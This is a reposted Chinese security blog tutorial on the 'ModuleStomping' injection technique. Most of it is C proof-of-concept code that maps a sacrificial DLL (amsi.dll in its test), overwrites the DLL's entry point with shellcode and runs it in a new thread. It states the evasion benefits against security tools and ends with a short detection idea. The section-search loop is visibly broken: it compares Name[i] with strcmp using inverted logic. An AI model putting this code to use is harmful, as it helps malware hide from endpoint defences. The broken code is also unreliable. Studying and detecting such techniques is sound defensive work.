ModuleStomping

admin 2024年3月25日22:05:29评论4 views字数 3958阅读13分11秒阅读模式

ModuleStomping

本期作者/ shadow

常规的注入手段通常的工作流程是,内存分配,写入载荷,执行载荷。而 ModuleStomping 注入通过利用已经 "分配" 的 RX 区域省去了内存分配的步骤,其中 shellcode 被注入到合法的牺牲(sacrificial) DLL 的 .text 段中。

优点:

  • 不会使用动态分配内存相关的 API。

  • shellcode "隐藏" 在合法 DLL 代码段中。

  • shellcode 写入的内存区域类型为 image 类型,而不是可疑的私有已提交(private committed)的可执行内存。

实现原理

ModuleStomping 的主要思想就是利用已经 "分配" 的 RX 区域写入我们的 shellcode。

具体实现过程如下:

1.首先将牺牲(sacrificial) DLL 加载到目标进程。

2.判断 shellcode 的大小是否介于牺牲 DLL 的入口点到代码段(.text)尾部之间。

3.在牺牲 DLL 入口点写入 shellcode。

4.执行 DLL 入口点的 shellcode。

加载牺牲 DLL

有三种方式加载牺牲 DLL:

1.手动模拟内存加载

2.使用 LoadLibrary 加载

3.使用映射加载

方式一的缺点是加载的 DLL 存在于私有已提交可执行的内存区域中,方法二的缺点是后续执行 shellcode 的时候中可能会触发控制流保护(Control Flow Guard, CFG)机制。相对来说使用方式三更加隐蔽,将其映射为一个内存区域,后续执行的过程中不会触发 CFG。

下面的 MappingDllFile 函数实现了这个过程:

BOOL MappingDllFile(IN LPCWSTR szDllFilePath, OUT PBYTE *pModuleBase)
{
    HANDLE hFile = INVALID_HANDLE_VALUE;
    HANDLE hFileMapping = NULL;
    PVOID pMappedAddress = NULL;

    do {
        hFile = CreateFileW(szDllFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
            break;

        hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, 0);
        if (hFileMapping == NULL)
            break;

        pMappedAddress = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
        if (pMappedAddress == NULL)
            break;

        *pModuleBase = (PBYTE)pMappedAddress;

    } while (0);

    if (hFile != INVALID_HANDLE_VALUE && hFile != NULL) {
        CloseHandle(hFile);
    }

    if (hFileMapping != NULL) {
        CloseHandle(hFileMapping);
    }

    return *pModuleBase ? TRUE : FALSE;
}

执行前进行判断可行性

在将 shellcode 写入牺牲 DLL 的入口点前,需要确保牺牲 DLL 的入口点到代码段(.text)尾部的空间足够大,来存放 shellcode。

其中 GetModuleEntryPoint 用于获取牺牲 DLL 的入口点地址。

ULONG_PTR GetModuleEntryPoint(PVOID pModuleBase)
{
    auto pImgDosHdr = (PIMAGE_DOS_HEADER)pModuleBase;
    auto pImgNtHdrs = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + pImgDosHdr->e_lfanew);

    return (ULONG_PTR)((PBYTE)pModuleBase + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
}

JugeFeasibility 用来判断是否满足可以写入的条件

BOOL JugeFeasibility(PVOID pModuleBase, ULONG_PTR upEntryPoint, SIZE_T sShellcodeSize)
{
    auto pImgDosHdr = (PIMAGE_DOS_HEADER)pModuleBase;
    auto pImgNtHdrs = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + pImgDosHdr->e_lfanew);
    auto pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);

    ULONG_PTR upTextSecBase = NULL;
    DWORD dwTextSecSize = 0;
    DWORD dwTextSecLeft = 0;

    for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; ++i) {
        if (strcmp((char *)pImgSecHdr[i].Name[i], ".text")) {
            upTextSecBase = (ULONG_PTR)pModuleBase + pImgSecHdr[i].VirtualAddress;
            dwTextSecSize = pImgSecHdr[i].Misc.VirtualSize;
            break;
        }
    }

    if (!upTextSecBase || !dwTextSecSize)
        return FALSE;

    // 计算入口点到代码段(.text)尾部的剩余空间
    dwTextSecLeft = dwTextSecSize - (upEntryPoint - upTextSecBase);

    // 判断是否能够容纳 shellcode
    if (dwTextSecLeft >= sShellcodeSize)
        return TRUE;

    return FALSE;
}

写入 shellcode

一旦满足条件,就将 shellcode 写入牺牲 DLL 的入口点位置处,下面的 WriteShellcode 函数用来完成这个工作。

BOOL WriteShellcode(PVOID pAddress, PVOID pShellcodeData, SIZE_T sShellcodeSize)
{
    DWORD dwOldProtection = 0;

    if (!VirtualProtect(pAddress, sShellcodeSize, PAGE_READWRITE, &dwOldProtection))
        return FALSE;

    memcpy(pAddress, pShellcodeData, sShellcodeSize);

    if (!VirtualProtect(pAddress, sShellcodeSize, dwOldProtection, &dwOldProtection))
        return FALSE;

    return TRUE;
}

执行 shellcode

这里使用创建线程的方式执行牺牲 DLL 的入口点代码。

hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)upEntryPoint, NULL, NULL, NULL);
if (hThread != NULL)
    WaitForSingleObject(hThread, INFINITE);

测试

牺牲 DLL 选择的 "C:/windows/system32/amsi.dll"

加载该 DLL 后,在 ProcessHacker 中查看,内存区域类型为 Image 类型

ModuleStomping

其中牺牲 DLL 的入口点地址为 0x00007FF97B153F90,原始内容如下:

ModuleStomping

将 shellcode 写入后,内容如下:

ModuleStomping

扩展

如果想在远程进程中使用 ModuleStomping 技术,首先需要将一个合法的牺牲(sacrificial) DLL 注入到目标进程中,之后将牺牲 DLL 的入口点(AddressOfEntryPoint)位置处代码替换为我们的载荷(payload),最后执行该入口点处的代码。

检测

由于 ModuleStomping 会修改牺牲 DLL 的代码段数据,所以检测 ModuleStomping 最简单的方法就是将磁盘中的 DLL 原始代码段数据与内存中的 DLL 的代码段数据进行比较,只要存在不匹配就说明该 DLL 在加载后被修改。

小结

本文首先介绍了 ModuleStoming 是什么,之后列举了该种注入手段的优点,随后说明了其核心的实现思路和拆解了具体实现的步骤,然后对该注入手段的Poc进行了测试,并提出一个扩展如何实现远程进程的 ModuleStoming,最后给出了一个检测思路。

ModuleStomping

原文始发于微信公众号(蛇矛实验室):ModuleStomping

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日22:05:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ModuleStompinghttps://cn-sec.com/archives/2596443.html

发表评论

匿名网友 填写信息